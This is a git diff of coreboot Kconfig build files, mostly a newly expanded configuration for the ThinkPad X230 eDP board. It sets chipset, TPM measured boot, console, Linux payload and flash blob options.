CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 292db04b6..5f1af0fa0 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -1,30 +1,712 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_FAMILY="ThinkPad X230" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/x230" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="x230" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/x230_edp/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set CONFIG_BOARD_LENOVO_X230_EDP=y +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="LEN0020" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set 